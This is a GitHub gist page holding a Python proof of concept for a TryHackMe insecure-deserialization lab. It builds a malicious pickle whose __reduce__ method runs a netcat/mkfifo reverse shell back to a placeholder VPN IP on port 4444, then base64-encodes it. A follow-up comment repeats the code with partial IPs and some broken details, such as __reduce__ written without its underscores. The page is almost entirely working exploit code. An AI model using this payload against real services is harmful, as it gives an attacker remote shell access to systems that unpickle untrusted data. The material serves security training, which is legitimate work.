Skip to content

Instantly share code, notes, and snippets.

@1UC1F3R616
Forked from CMNatic/cloudSettings
Created August 28, 2020 14:03
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save 1UC1F3R616/afb89c6dfcd5c1b835c59f2e07fdc313 to your computer and use it in GitHub Desktop.
Save 1UC1F3R616/afb89c6dfcd5c1b835c59f2e07fdc313 to your computer and use it in GitHub Desktop.
TryHackMe OWASP-10-A8: Insecure Deserialization RCE PoC
import pickle
import sys
import base64
command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f'
class rce(object):
def __reduce__(self):
import os
return (os.system,(command,))
print(base64.b64encode(pickle.dumps(rce())))
@1UC1F3R616
Copy link
Author

this encode it so that it executes

@1UC1F3R616
Copy link
Author

import pickle
import sys
import base64

command = 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.92.85 4444 > /tmp/f'

class rce(object):
def reduce(self):
import os
return (os.system,(command,))

payL = base64.b64encode(pickle.dumps(rce()))
print(payL)
res = pickle.loads(base64.b64decode(payL))
print(res)

payL2 = base64.b64encode(pickle.dumps('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | netcat 10.9.9 4444 > /tmp/f'))
print(payL2)
res2 = pickle.loads(base64.b64decode(payL2))
print(res2)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment